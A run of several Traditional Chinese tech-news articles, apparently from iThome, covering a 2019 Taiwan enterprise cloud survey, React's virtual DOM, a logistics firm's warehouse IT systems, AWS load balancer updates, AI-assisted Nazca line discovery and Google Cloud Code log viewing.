從雲端建置模式來看，混合雲是臺灣企業上雲的主要架構。從今年企業雲端大調查來看，43.2％企業擁抱混合雲架構，純私雲的企業則有26.2％，而只用公有雲的企業目前僅14％。臺灣企業採取一朵公雲搭配一朵私雲的簡單混合雲模式，高達27.3％，但採取跨雲混合雲建置模式的企業，導入多朵公雲搭配多朵私雲的企業有15.9％，這些企業會面臨不同雲端平臺的整合管理課題。

從各產業來看，服務業、高科技業和政府機關採用混合雲的比例最多，服務業甚至有過半擁抱混合雲，其中有3成服務業採取簡單混合雲，而2成服務業擁抱跨雲混合雲。而醫療業則是以私有雲建置模式居多，而且多朵私雲並用的情況最多，採取混合雲的醫療業在各產業間最低，只有2成。

另一大類的建置模式是單一私有雲，有18.8％企業採取這個作法，只用同一個廠牌的私有雲平臺。而在純公有雲建置模式上，有6.8%企業只用一朵，有7.2％的企業採用多朵公雲。金融業採用公有雲只有4成，而大多是公私雲混合的建置模式，不上雲的比例也居各產業之冠，3成4金融業者完全不上雲。

整體來說，至少有57.2％企業至少租用一朵公雲，其中又以服務業最多，超過7成上公雲。

 2019臺灣企業雲端大調查問卷執行說明 

本次調查對象針對臺灣企業，IT最高主管、維運團隊主管、開發者主管、開發與維運負責人、IT架構負責人等，來進行線上問卷調查。調查從2019年9月10日到10月4日結束，有效問卷數486家企業。其中IT最高主管占58.6%，維運團隊主管41.4%。從產業來看，服務業36.4％、一般製造業22.6％、高科技製造業23.3％為大宗，其餘金融業占6.6％、醫療業4.7％，而政府機關與學校則有6.4％。

 相關報導  2019臺灣企業雲端大調查（上）

根據今年企業雲端大調查結果，平均臺灣企業整體工作量（Workload）中，已有38.4％部署在私雲，而13.7％則部署在公雲，明年，這個比例會朝更多雲端化邁向，但明年私雲的比重只有微幅增加到40.6％，倒是工作量上公有雲的比重，將增加到19.8％，醫療業是工作量上公有雲成長服務最多的產業。

從企業上雲應用類型來看，臺灣企業仍舊從長期使用需求和發展，來決定要將哪些應用上雲。最大宗的上雲應用是新服務，達42％，其次是需要24小時服務的應用，也會上雲。不過，也有2成多企業將關鍵任務的應用上雲，或是將全球性、跨國性的服務上雲。倒是出乎意料的調查結果是，只有1成企業將短期爆量需求的應用上雲，這是因為多數企業較少有這類爆量應用的需求。

從產業別來看，而上雲最積極的服務業者，主要上雲應用是新服務和關鍵任務應用，但只有13.6%服務業者將爆量應用上雲。第二積極上雲的產業是高科技業者，有4成高科技業者將24小時服務上雲，但特別的是，高科技業者特別會將全球性或跨國服務也搬上雲，透過雲來服務其他國家的顧客。一般製造業最常上雲的應用也是24小時服務或非關鍵性任務的應用（28.2％）。

而法規管制最嚴格的金融業，平均只有2.4％工作量搬上公雲，但明年預估會達到8％，如果，金管會日前已開始進行銀行上雲的相關法規修訂作業，不過，截至目前，還沒正式實施，若明年正式鬆綁，這將會帶動金融業上雲的深度和廣度。目前，金融業大多先將非關鍵、無涉個資的應用上雲。

 2019臺灣企業雲端大調查問卷執行說明 

本次調查對象針對臺灣企業，IT最高主管、維運團隊主管、開發者主管、開發與維運負責人、IT架構負責人等，來進行線上問卷調查。調查從2019年9月10日到10月4日結束，有效問卷數486家企業。其中IT最高主管占58.6%，維運團隊主管41.4%。從產業來看，服務業36.4％、一般製造業22.6％、高科技製造業23.3％為大宗，其餘金融業占6.6％、醫療業4.7％，而政府機關與學校則有6.4％。

 相關報導  2019臺灣企業雲端大調查（上）

從企業上雲應用類型來看，臺灣企業仍舊從長期使用需求和發展，來決定要將哪些應用上雲。整體而言，最大宗的上雲應用是新服務，達42％，其次是需要24小時服務的應用，也會上雲。不過，也有2成多企業將關鍵任務的應用上雲，或是將全球性、跨國性的服務上雲。倒是出乎意料的調查結果是，只有1成企業將短期爆量需求的應用上雲，這是因為多數企業較少有這類爆量應用的需求。

從產業別來看，而上雲最積極的服務業者，主要上雲應用是新服務和關鍵任務應用，但只有13.6%服務業者將爆量應用上雲。第二積極上雲的產業是高科技業者，有4成高科技業者將24小時服務上雲，但特別的是，高科技業者特別會將全球性或跨國服務也搬上雲，透過雲來服務其他國家的顧客。一般製造業最常上雲的應用也是24小時服務或非關鍵性任務的應用（28.2％）。

 2019臺灣企業雲端大調查問卷執行說明 

本次調查對象針對臺灣企業，IT最高主管、維運團隊主管、開發者主管、開發與維運負責人、IT架構負責人等，來進行線上問卷調查。調查從2019年9月10日到10月4日結束，有效問卷數486家企業。其中IT最高主管占58.6%，維運團隊主管41.4%。從產業來看，服務業36.4％、一般製造業22.6％、高科技製造業23.3％為大宗，其餘金融業占6.6％、醫療業4.7％，而政府機關與學校則有6.4％。

 相關報導  2019臺灣企業雲端大調查（上）

儘管有不少企業自認有上雲的需求，但根據這次iThome臺灣企業雲端大調查結果發現，整體來看，臺灣多數企業上雲的腳步仍舊相對保守。企業上雲主要困難有四，預算不足是排名第一名的困難，上雲初期仍舊需要不少轉換成本和前期摸索的投資。

所以，目前以近4成企業因此而卻步，不論是一般製造業、高科技業、醫療、政府機關與學校都以此為最大門檻。而過去最為人擔心的雲端資安防護不足問題，依舊影響了不少企業的上雲意願，只略低於預算不足，是排名第二的阻礙。

排名第三的困難是資料遷移問題，約有3成企業擔心。尤其，不少企業手上有大量資料，如何將原有應用程式的資料庫、資料集、大數據資料，甚至是非結構化資料，都能順利上雲成容易使用的方式，這不只是將所有資料複製一份，放上雲就好，企業多半須重新考慮新的雲端資料架構，甚至需要新的資料處理流程，才有利於後續雲端應用的發揮。

服務業已經感受到了積極上雲的好處，所以，企業不會吝嗇投資，所以，他們最大的上雲課題就是資料遷移，其次才是雲端資安保護。而金融業者仍舊是眾所皆知的法規門檻，除了資安，金融業者還擔心雲端資料保護的困難。

然而，雲端知識不足也是各產業普遍的痛點，平均有3成企業，擔心自家IT的雲端能力不足。近年在國外興起的混合雲管理、跨雲管理議題，仍舊還不是臺灣企業最重要的課題，這也反映出，臺灣企業上雲發展的成熟度仍在初期的現況，較不需要考慮到更進階的管理議題。

 2019臺灣企業雲端大調查問卷執行說明 

本次調查對象針對臺灣企業，IT最高主管、維運團隊主管、開發者主管、開發與維運負責人、IT架構負責人等，來進行線上問卷調查。調查從2019年9月10日到10月4日結束，有效問卷數486家企業。其中IT最高主管占58.6%，維運團隊主管41.4%。從產業來看，服務業36.4％、一般製造業22.6％、高科技製造業23.3％為大宗，其餘金融業占6.6％、醫療業4.7％，而政府機關與學校則有6.4％。

 相關報導  2019臺灣企業雲端大調查（上）

這幾年，數位轉型風潮吹向臺灣各產業，擁抱新科技幾乎是每一家企業轉型的必經之路，在國外，不少企業將雲端科技視為數位轉型的關鍵策略，臺灣企業的情況也是如此嗎？

眾所皆知，雲端服務是當代IT相當受到關注的應用模式，在一般使用者的日常生活中，可能多多少少都使用過，舉凡Gmail、Dropbox、OneDrive，許多大型網路公司與IT廠商本身，也都開始營運、提供這樣的IT服務，或許國外已有不少企業採用，但臺灣企業實際使用雲端服務的比例有多少？

過去以來，在市面上，我們很少看到以此為主題的調查統計報告，在iThome過去的CIO大調查當中，雖然也詢問到臺灣企業對於雲端服務的使用現況，但隨著「企業上雲」的風潮已顯著出現在臺灣IT領域，於是，今年我們決定要專門針對這個主題，進行首次的雲端大調查，希望更實際印證是否真的發生如此現象。

經過一個月的線上問卷調查，我們收集到486個有效樣本（也就是486家企業），作答者的身分包含：企業IT最高主管、維運團隊主管、開發者主管、開發與維運負責人、IT架構負責人，涵蓋的產業，有服務業、一般製造業、高科技製造業、金融業、醫療業、政府機關與學校。

在這份調查結果的上半部發表，我們關注的目標，主要是使用雲端服務與企業數位轉型之間的關係。以目前看到的結果來看，向我們表明已經上雲的臺灣企業，已超過6成（這當中包含高度雲端化企業、雲端經常使用者、雲端入門者，若將雲端觀察者納入，可達到8成之多），將上雲視為關鍵轉型戰略的臺灣企業比例，也高達45.8％；在看待企業上雲的戰略上，臺灣企業認為，能替轉型帶來的三大價值，分別是：省整體時間、省整體人力、省整體生產成本，這些目標都各自擁有65％以上的認可。

從應用雲端服務的成熟度來看，有哪些產業較為領先？根據我們的調查指出，服務業的比例已接近5成，在高度雲端化企業與雲端經常使用者的比例上，都冠於其他產業；其次是高科技製造業，雖然他們在高度雲端化企業的比例只有2.7％，但自認是雲端經常使用者的企業有26.5％；第三是醫療業，在高度雲端化企業雖然排名第二，然而，在雲端經常使用者的比例僅高於金融業。

另一個讓我們想要確認的議題，則是多雲、混合雲的使用情況。過去幾年，許多IT廠商強打私有雲的必要性，後來開始鼓吹混合雲架構才是最適合企業的作法，近期的風向則是要企業同時擁抱多雲、混合雲的發展策略，所以，真正的實情是？

為了更了解企業對於不同雲端服務模式的實際應用狀況，負責執行這次大調查的副總編輯暨調查中心主任研究員王宏仁，特別依照純粹使用私有雲、純粹使用公雲、混合雲這三大架構，區隔出六種細部使用模式，以便突顯不同用法之間的差異——我們在這裡，總共分為：單一私雲平臺、多種私雲並用、單一公雲、多家公雲並用、簡單混合雲、跨雲混合雲。

而從最終的調查統計分析來看，在三大雲端服務架構中，臺灣企業採用混合雲的比例高達43.2％，其次是純私雲（26.2％），純公雲也有1成以上（14％）；而在六種模式當中，採用簡單混合雲的比例則是27.3％，其次是單一私雲平臺（18.8％）、跨雲混合雲（15.9％），其他三種模式所差無幾。

這樣的結果，也證明了混合雲應用的確已在臺灣企業IT環境成形，至於前面我們提到的多雲、混合雲趨勢，實際所指涉的模式應該是名列第三的跨雲混合雲，而不是多家公雲並用，或是多種私雲並用的模式。

在下一期iThome電腦報週刊，我們將繼續揭露這份調查結果的下半部，敬請期待。

 相關報導 2019臺灣企業雲端大調查（上）

在React出現之後，虛擬DOM（Virtual DOM）概念逐漸廣為人知，然而，若談到虛擬DOM之目的，我們所得到的答案，多半是「比直接操作DOM高效」。其實，這是個籠統也易令人產生誤解的說法，因為，React本身也並不標榜高效的DOM操作！

瀏覽器的渲染機制

若要討論DOM操作的效能，對於瀏覽器處理網頁的過程，我們必須進一步認識。

基本上，這邊進行的步驟會是剖析HTML結構、建立DOM樹，將CSS剖析、轉為CSSOM（CSS Object Model）；然後，DOM與CSSOM結合為渲染樹（Render tree）；接著，進行布局（Layout）計算出元素的位置、尺寸等資訊；在這之後，進行繪製（Painting）得到像素；而到了最終階段，會執行顯示（Display）。

渲染（Rendering）是指布局與繪製的過程，元素時若涉及布局、位置、尺寸等修改，就會導致重新渲染，也就是會發生重新布局（reflow）和重繪（repaint）。一旦重新布局後，必然要重繪，然而有些修改不影響布局、幾何資訊，像是修改背景顏色，則只會引發重繪。

重新布局與重繪都是耗時的，如果頁面元素組成複雜，而且經常發生重新布局或重繪，或者是在DOM操作上會導致大量元素更新，頁面就會有明顯的停頓現象。

在入門前端的書籍或文件上，多半也會提到大量建立DOM並直接附加至DOM樹時，可能會引發效能問題，因為，每個DOM元素的附加，後續都會引發重新渲染，開發者如果在背景準備好DOM的片段，最後再附加至DOM樹上，此時就有機會可以改進效能。

不過，現代瀏覽器很聰明，對於連續的元素變更，若過程中不涉及布局、元素幾何等讀取的演算，會儘量集中排在佇列中，最後才一次性地重新渲染，因此，避免變更與讀取元素特性的操作交相混雜，是改進效能的一個可能考量。

實現React原型

想要瞭解虛擬DOM，就是先要瞭解React，想瞭解React最好的方式，就是自行實現簡單的原型，在使用JSX撰寫HTML部份，我們可以使用ES6模版字串來權充一下。

例如，HTML字串可以指定給DOM元素的innerHTML來建立DOM片段，並從render方法中傳回，等到每次元件的狀態改變，就呼叫重新建立HTML字串、剖析建立新的DOM片段，然後用新的DOM取代舊的片段。

開發者可能會對innerHTML有效能上的疑慮，因為它還必須經過剖析等階段，然而，字串是JavaScript的基本型態，相比於DOM物件較為輕量，若以innerHTML方式在背景準備好DOM片段，再附加至DOM樹，這個過程是由瀏覽器原生進行剖析，相較於自行剖析、建立DOM元素，在效能上，可能相去不遠。

動手實現這樣的原型，主要在突顯一個事實：React的核心設計就是「狀態一有變動，就用新畫面取代舊畫面」，在這個原型中，我們可以把元件想成是個函式，若開發者將狀態作為輸入，新的畫面（DOM片段）就會作為輸出，也就是開發者必須從命令元素該如何（How）顯示，改為宣告元件代表什麼（What）狀態。從本質上來看，這就是從命令式到宣告式的典範轉移。

然而，每次都用新畫面取代舊畫面會有幾個問題，即便在背景準備好DOM片段，但如果頁面複雜，狀態又頻繁改變，每次畫面取代而引發的重新渲染，累積下來也會產生很大的負擔；此外，有時只是更動表格中某個欄位，卻要建立整個表格的DOM片段，在這類需求下，重新建構與整個取代顯然很浪費。

DOM物件本身的建立，也是個問題，因為每一個DOM本身其實帶有大量的特性，而開發者可能只是關心其中的少量特性；有些狀態的變更，其實用不著建立新的DOM，只需要更新既有的DOM，就可以了，而有些狀態變更，只需要單純地刪除某個DOM元素。

因此，每次用新畫面取代舊畫面，不單只在效能上引發疑慮，也會引發使用者操作上的問題，例如，輸入欄位會因此失去焦點。

虛擬DOM

虛擬DOM的出發點，就是為了解決React核心設計「狀態一有變動，就用新畫面取代舊畫面」而引發的效能等問題，讓框架的使用者取得可接受的效能表現，從而願意接受框架的設計與典範。

而所謂的虛擬DOM物件，指的就是JavaScript物件，例如，若要表現<li class='book1'>Book 1</li>，此時，我們可以使用物件{tagName: 'li', props: {class: 'book'}, children: ["Book 1"]}來表示。

相對於建立一個DOM片段，建立對應的物件樹，輕量許多。實際上，在React中使用JSX撰寫的HTML片段，產生的就是物件樹。

在首次執行時，React會根據物件樹建立DOM片段，並附加至DOM樹，React會保有元件與DOM樹上的對應節點參考；當狀態改變時，React的元件會建立新的物件樹（也就是render方法傳回值），並與舊的物件樹進行比較，也就是執行虛擬DOM的diff算法，走訪物件樹並找出有差異的物件節點，差異可能是替換、刪除、移動、修改特性等類型，而且，每個差異都會包含類型、節點編號等必要資訊，最後記錄在一個patches清單。

patches清單最後會套用在DOM樹上，由於物件樹與DOM片段的結構是一致的，因此可以採用相同的方式來走訪DOM片段，找出與節點編號對應的DOM，根據差異類型進行替換、刪除、修改等對應動作；採用虛擬DOM的附加好處是，由於物件樹是純粹的JavaScript物件，在其他環境也可以運用，因此才會有ReactNative之類的實現。

也就是說，每次的狀態一有變動，底層實際上是建立新物件樹來取代舊物件樹，並由React來負責對應至DOM樹的操作（並不是更新整個畫面），然而這一切都被React隱藏起來。

因為，開發者使用JSX撰寫HTML片段，概念上，就類似實現React原型時使用innerHTML，兩者都是「狀態一有變動，就用新畫面取代舊畫面」，但React使用的是虛擬DOM，以此減輕原型實現中可能的效能負擔等問題。

比直接操作DOM高效？

雖然物件樹相較於DOM是輕量的，然而，diff演算與根據patches更新的過程，並不是毫無代價的。就像虛擬DOM「比直接操作DOM高效」的這個說法，常令許多開發者誤認為，使用React比原生操作DOM實現相同頁面功能時的效能要高，實際上，React官方首頁並沒有標榜這類特色。

若真要討論效能，得搞清楚比較的對象，的確！相較於拙劣的DOM操作，虛擬DOM有很多機會可以勝出，而通用性也比較大，不過「比直接操作DOM高效」的這個說法，本質上是指框架實現「狀態有變動就用新畫面取代舊畫面」的做法差異，是為了支援典範下的權衡做法。所以，知道這點之後，如果我們看到有些開發者以原生操作DOM實現出相同功能頁面，效能卻比React來得好，就一點也不覺得奇怪了！

走進瑞芳山坡上，這座面海背山的倉儲，上百臺智慧倉儲機器人（Automated Guided Vehicle，AGV）正穿梭於這數千坪的空間內，這裡是永聯物流開發（簡稱永聯）位於新北市瑞芳區的物流園區中，特別為中小型電商打造的電商專倉（EC-HUB），也是永聯為臺灣物流業導入AGV設備的第二座倉儲。

面對電商強勁的成長力道，物流倉儲正在跟著演變，許多原靠人力的物流作業，正逐一由自動化設備取代。在這座樓地板總面積約5千坪的電商專倉內，有搬運機器人AGV利用「貨到人」的方式，翻轉揀貨流程，讓揀貨員不再需到貨架中找尋貨物，可視為最顯著的改變，同時，這裡還有無數自動化設備，像是開箱機、貼標機等。

倉儲有了這些設備，簡化了物流作業，然而，要顛覆傳統的作業模式，不僅要導入合適的硬體設備，更重要的是，將物流轉為資訊流，讓系統可以認得貨品，而使永聯電商專倉資訊系統得以步上軌道啟用的關鍵，就是永聯物流開發資訊科技處副總經理黃信銘。

他雖於今年2月才加入永聯，但他很早就與倉儲物流業務結下因緣。黃信銘過去於神坊資訊任職時，即管理倉儲作業現場，以及整合倉儲系統，另外，他也曾參與開發跨境代購平臺，累積了電商經驗，因此他來到永聯後，於建置電商專倉時，更能了解電商業者的需求。

永聯電商專倉導入了這些優化物流作業的自動化設備，背後需要一套全面的資訊管理系統架構，以將物流轉化為資訊流，來掌握物流的去向與狀態。為此，永聯IT團隊建置可串聯客戶端與倉儲設備系統的架構，由上而下，分別是與客戶溝通的訂單管理系統（Order Management System，OMS）、倉儲管理系統（Warehouse Management System，WMS）、智慧倉儲執行系統（Warehouse Execution System，WES），最後，與各自動化設備串聯。

永聯從去年開始規畫、設計EC-HUB，於同年底正式開始替其開發資訊系統，包含OMS和WES。整套資訊管理架構中的核心，就屬永聯自行開發的WES。黃信銘指出，這個系統相當於製造業工廠內，傳遞生產線資訊的製造執行系統（Manufacturing Execution System，MES）。

一般而言，MES與各生產設備串接，當產線發生狀況時，可即時反應與調度，同樣地，WES串連了EC-HUB內所有的自動化設備，包含倉內的靈魂腳色——搬運機器人AGV、輸送帶、自動開箱機、自動貼標機、自動封箱機等，傳輸貨物的物流作業資訊。

從貨物進倉到訂單下達，至貨品出倉的過程，永聯透過WES管理各設備，以掌握設備的作業狀態，及貨品的物流資訊，若物流作業出現問題，WES會即時因應、解決，可謂永聯自動化倉儲資訊架構的中樞神經。黃信銘指出，因WES串接了多項設備，在先前系統開發過程中，他們需針對作業的先後順序，進行調整，進而確認設備在作業上所需的訊息，以及掌握設備需接收訊息的時間點。

「WES和OMS的開發工作都是大工程，WES的挑戰是串接設備的多樣性，而OMS的挑戰則是資料來源的多樣性。」黃信銘表示。OMS是永聯提供給負責EC-HUB物流服務合作夥伴特捷物流，以及倉儲客戶間的系統，可傳遞訂單和貨物資訊，處理各項物流作業，包含庫存管理、貨物入倉申請，以及最關鍵的物流作業環節——貨品出庫申請。

開發訂單管理系統，接收多平臺和配送商資料，多樣資料來源成挑戰

在資訊流的串接上，尤以出庫申請作業最為複雜。因為中小型業者大多不只上架至單一平臺，且商品會由不同配送商運送，而這些都需要靠OMS完成串接，以因應兩大方向的需求。

首先，EC-HUB以中小型電商業者為大宗，許多業者往往將商品上架到自有官網或不同電商平臺，換句話說，OMS需承接來自不同平臺的訂單。

而永聯的作法，是通過API對接，讓OMS與電商平臺串接，以直接獲取客戶的訂單，省去客戶自行下載訂單，再上傳系統的作業。然而，不是所有電商銷售平臺都提供API，客戶有時需下載試算表，才可獲取訂單資訊。於是，永聯資訊團隊設計了一個系統介面，提供中小型賣家，讓他們將訂單以試算表的形式，自行上傳至OMS，再由系統抓取特定欄位資訊，像是貨品名稱、數量、購買者姓名、配送地址等，輸入系統。

其次，中小型電商業者有許多配合的配送業者，包含宅配商、超商取貨配送商等，OMS也需與不同配送業者的系統串接，以設置客戶訂單的配送需求及獲取託運單的資訊，還有掌握貨態。此時，OMS一樣通過API串接，獲取資訊，或是以檔案傳輸協定（File Transfer Protocol，FTP）方式交換檔案。

配運商每日提供託運單號區段，訂單管理系統便根據訂單進入的順序，配置訂單的託運單號。此外，每個配運商有自身的配送代號格式，對應每個配送客戶，系統會將客戶訂單與配送業者的託運單對照，以讓終端消費者可以利用託運單號，追蹤購買商品的物流進度，同時，系統會獲取貨品的狀態，以回報客戶，讓客戶掌握貨物的配送進度。

另外，有些客戶會提出客製需求，像是動態庫存配置，客戶希望依照倉儲即時的庫存量，分配可賣量給各銷售平臺，而永聯的系統也需支援。針對此需求，永聯資訊團隊在原提供客戶掌握庫存量的即時庫存機制上，設計了動態庫存配置機制，內建於OMS。該機制可依客戶的額度要求，定時自動分配庫存。

黃信銘舉例，譬如某業者的某貨品有100件，其中6成分配給電商平臺，4成分配給自有官網，該機制會依照即時的庫存量，替業者動態調整各銷售平臺的可賣量。他進一步表示，該機制可讓客戶避免商品超賣的情形發生。

歷經半年的時間，永聯完成系統開發及串接工作，於今年第三季正式啟用EC-HUB。黃信銘提到，各系統同時並行開發，並訂於今年三月完成建置，以從三月中下旬，開始測試整體流程。

啟用前，黃信銘花了近兩個月的時間，測試、驗證整個資訊架構，並分為兩階段進行，首先，當單一系統完成後，即進行獨立測試，最後，再執行整體測試。因為整體流程分散，牽涉很多系統，黃信銘表示：「一路從上游系統，測試到下游系統，再進行整體流程的整合調校工作。」

他進一步提到，雖未有太大的瓶頸，但整體流程的調校，仍有零星的小狀況，需一一排除。像是WES與空箱管理系統的串接工程，永聯在開發相關系統時，已為不同的箱型規格定義了數值，讓空箱管理系統可依訂單的貨品大小，自動提供適合的箱型至指定包裝工作站。待實際運作後，資訊團隊才發現，兩個系統間的資料型態不符，導致空箱管理系統雖接收到訂單資訊，但因箱型值不在預期範圍內而視為例外，最終，無法提供工作站所需的包裝箱。團隊需重新調整系統，以同步兩者的控制值。

測試期間，自動化設備與聯網設備間的串接，永聯資訊團隊也遇上了狀況。以AGV機器人控制系統與Wi-Fi基地臺的串接為例，起初，當AGV機器人運行於兩個Wi-Fi基地臺訊號發射範圍的交接帶時，無法繼續向指定位置移動。黃信銘解釋，因機器人可以完整接收兩者的訊號，反而造成了訊號互相干擾的情形，使機器人無法辨識該由何者控制。

後來，永聯資訊團隊調整了Wi-Fi的設定而獲得改善，他指出，因計畫擴充AGV機器人的硬體數量，而未調整臺數，而是縮小基地臺訊號的發射範圍，讓機器人只接收單邊基站發射的訊號值。

電商倉採超融合架構，要進而建異地備援機制

永聯於建置EC-HUB作業環境的同時，於今年初，同步建置了超融合基礎架構（HCI），供EC-HUB的資訊管理系統採用，讓每臺伺服器同時執行運算與儲存的處理作業，作為超融合架構的節點。永聯借助超融合的特性，讓硬體資源不管是運算、儲存，皆可相互支援，還可依需求彈性擴充。

黃信銘指出，相較過去分別採購、建置及設定硬體設備，團隊需同時管理10幾臺伺服器，現用兩個節點代替，再依使用情況，可建構10到20臺VM。此外，黃信銘還看重超融合架構的系統高可用性（HA），當其中一臺伺服器故障時，仍可維持可用性，所以相對穩定。

目前，永聯除了在新北市瑞芳區外，於桃園市大園區、楊梅區和臺中市烏日區，全臺共設有4座物流園區，而烏日園區也設有機房，他們計畫該園區明年跟進瑞芳園區的作法，採用超融合架構，以進一步實現異地備援。

打造異地備援，也是永聯採超融合架構的考量重點。黃信銘指出，不僅要滿足當地的使用需求，也要因應備援的需求，永聯已開始建構異地備援機制，並以兩兩互為備援的方式設計。譬如說，園區A是園區B的備援，園區B是園區C的備援，而園區C即是園區A的備援。

永聯採用混合雲架構，不僅將超融合架構運行於私有雲，今年還首度將系統搬遷上公有雲。現階段，永聯僅有供外部使用者使用的OMS上雲。黃信銘指出，全託管模式可降低基礎架構管理的人力需求，進而降低管理成本，將資源集中於系統開發工程上。

永聯物流開發資訊科技處副總經理黃信銘表示，IT是串聯每個部位的神經，為進軍海外，系統已可轉換語言，若沒準備則無法因應。（攝影／洪政偉）

為進軍海外市場，系統已預先設定語言轉換的能力

永聯不僅著眼臺灣物流市場的需求，位於瑞芳物流園區的EC-HUB和紅酒倉等專倉，為其實驗場域。下一步，他們計畫複製這些物流機制，涵蓋硬體設備及軟體資訊系統，以整套搬遷的作法，進軍海外市場。為布局海外市場，黃信銘表示，正在評估是否需要派駐資訊人員至海外，協助系統建置，也考慮在當地找尋系統維運人員。

除了人才規畫外，該公司的資訊系統早在開發建置時期，就已為海外市場預作準備。例如，永聯資訊團隊將多國語言的設定需求，列入開發要求，因此，每個自行開發的系統，包含WES和OMS，皆具備轉換語言的能力。

一般系統開發都直接將欄位名稱編寫於程式裡，黃信銘表示，永聯將欄位名稱從程式碼當中抽離，以便可隨時切換語系的設定。他們的資訊系統可依市場需求來定義名詞，以轉換為不同的語言。他舉例，比如說，在泰國市場，待泰文名詞定義完成後，系統即能以泰文顯示。如此細微的事前規畫，顯見永聯對拓展市場的決心。「IT是串聯每個部位的神經，沒有預做準備，無法因應。」黃信銘道。

CIO小檔案

黃信銘

永聯物流開發資訊科技處副總經理

學歷：臺灣大學土木工程所碩士

經歷：2001年進入國泰人壽資訊服務中心，參與核心系統轉換，2011年進入神坊資訊資訊部，開發跨境電商平臺和整合倉儲系統，接著2017年於IBM全球企業諮詢服務事業群任壽險業執行顧問，提供金融架構規畫的諮詢，於2019年加入永聯物流開發任資訊科技處副總經理，主導資訊系統開發及基楚架構建置

公司檔案

永聯物流開發

● 地址：臺北市內湖區瑞光路258巷39號2樓

● 成立時間：2013年

● 主要業務：物流土地取得，至倉儲及物流解決方案規畫、開發

● 總部：臺北市內湖區

● 員工數：約100人

● 資本額：2.1億元

● 董事長：張仁和

● 總經理：張建泰

資訊部門檔案

● 資訊部門名稱：資訊科技處

● 資訊部門主管職稱：副總經理

● 資訊部門主管姓名：黃信銘

● 直屬主管：董事總經理

● 資訊部門人數：約20人

● 資訊部門分工：產品設計規畫及管理；專案規畫及管理；應用系統設計、規畫、開發及維運管理；基礎設施規畫、建置及維運管理

IT大事記

● 2017年：導入自動化倉儲系統（AS/RS），瑞芳園區的紅酒專倉自動化整合方案正式啟用

● 2018年：導入智慧倉儲機器人AGV，以及開發智慧倉儲執行系統（WES）和訂單管理系統（OMS）

● 2019年：瑞芳園區導入超融合架構，園區於第三季啟用電商專倉EC-HUB，並啟用電商物流管理系統

AWS為應用程式負載平衡器以及網路負載平衡器加入新的功能，讓用戶能夠更細緻地操作控制網路流量。應用程式負載平衡器新支援最少未處理請求（Least Outstanding Requests）演算法，而網路負載平衡器現在可讓用戶能夠簡單地加入子網域。

應用程式負載平衡器加入了兩個重要的更新，用戶現在可以為目標群組加入流量權重，透過在應用程式負載平衡的路由規則中，為任何的轉發動作（Forward Action）註冊多個目標群組，每個目標群組可分配0到999的權重，應用程式負載平衡器會根據權重依比例路由流量。AWS提到，這項新功能將有助於進行可提高可用性的藍綠部署，以及金絲雀部署。

另外，AWS應用程式負載平衡器現在終於支援最少未處理請求演算法，這個新演算法讓負載平衡器能夠在新的請求進來時，將請求分配給擁有最少未處理請求的目標，如此可以讓處理能力較差，或是擁有較多未處理請求的目標，不再被分配到更多的工作。

過去輪替式演算法會將傳入的請求分散到後端目標，這些請求會在不考慮能力與利用率的情況下，以輪替的方式分配給所有目標，因此當請求需要不同的處理時間，則可能造成目標群組中的部分目標負擔過重，但其中又有一些目標閒置，而最少未處理請求演算法可以更好地分配工作。

在網路負載平衡器方面，現在用戶可以更靈活地將子網路添加到現有的網路負載平衡器中，讓用戶有更多的擴展選擇，可將新開放的可用區域加入到網路負載平衡器中，提升服務可用性。

而且現在用戶也可以在共享VPC中創建網路負載平衡器，如此便能路由組織裡集中管理帳號所擁有VPC子網域下的流量，用戶也能以網路負載平衡器創建PrivateLink服務，讓其他VPC或是本地網路，私下存取共享子網域中的服務，而不需要使用公共IP，或是讓流量進行不必要的網際網路走訪。

日本山形大學與IBM合作，以人工智慧探索秘魯納斯卡帕爾帕與周邊區域的高解析度圖像，新發現了1個納斯卡線。納斯卡線是位在納斯卡沙漠的巨大地畫，由古代納斯卡文明所創造，年代最早可追溯至西元前100年，地畫內容包括了魚類、藻類、蜘蛛、蜂鳥以及猴子等各種形狀，納斯卡線在1994年時，已經被聯合國教科文組織列入世界遺產。

由山形大學Masato Sakai教授領軍的研究團隊，透過田野工作以及分析高解析度的3D資料，總共發現了143個新的地畫，這些地畫主要分布區域在納斯卡帕爾帕西部。研究團隊分析了納斯卡帕爾帕地區的高解析度圖像，並經過實地調查提出了一個假設，他們認為生物形態的地畫，主要是由納斯卡帕爾帕西部的小路所構成，而經過田野調查，他們證實了這項假設，且新發現了142個地畫，地畫內容包括鳥類、狐狸和蛇等動物。

研究人員指出，地畫分為兩類一種是在形狀與大小上，較為抽象與具幾何特性（下圖），較大的地畫可延伸長約100公尺，而另一種則較寫實地描繪動物和人物，規模最長通常不到50公尺。由於要用肉眼在大量的圖像中找尋這些地畫非常的不容易，因此他們利用Watson機器學習平臺，先從照片中找出幾個可能是地畫的選項，並挑選了其中一個最有可能的候選對象，實際進行調查。

經過實際調查，發現了人工智慧所發現的圖樣確實是地畫，是一個高約5公尺的人物（下圖），這個地畫位在一條小路旁邊，研究人員推測可能是以前的路標。IBM研究員Akihisa Sakurai提到，訓練模型尋找新地畫並不容易，因為他們手上沒有足夠的資料來訓練神經網路，因此在人工智慧篩出候選對象後，還需要經過研究人員的手動檢視。

Masato Sakai和其他研究人員，從2004年開始，就參與了聯合國教科文組織研究納斯卡線的計畫，他們也的確成功地辨識出許多新的地畫，但是由於調查這些分散的地畫，仍有許多的工作要進行，且因為城市面積不斷擴大，使納斯卡線面臨遭到破壞的威脅，因此保護納斯卡線的工作再度受到重視。

這次是山形大學與IBM合作進行的可行性研究，希望以人工智慧加速尋找納斯卡線的工作，而這項研究驗證了人工智慧探索新納斯卡線的可能性，以及快速處理高解析度航空照片的能力，因此接下來雙方還會繼續合作，利用IBM PAIRS來分析大量的地理時空資料，促進對納斯卡線的了解。

Google提供Visual Studio Code擴充套件Cloud Code，讓開發者可更快速方便地編寫、部署和測試雲端應用程式，而現在Google強化Cloud Code操作Stackdriver日誌的能力，用戶現在可以在Visual Studio Code中直接瀏覽日誌。

Cloud Code現在內建日誌瀏覽器，用戶能夠在Visual Studio Code存取Stackdriver日誌。用戶開啟日誌瀏覽器就能夠查看所有Stackdriver上的日誌，並且能用操作Stackdriver Logging一樣的方式，編輯過濾器篩選想要查看的訊息，而當需要查看更詳細的資訊，也能直接從Visual Studio Code跳轉至Stackdriver Logging的相同路徑。

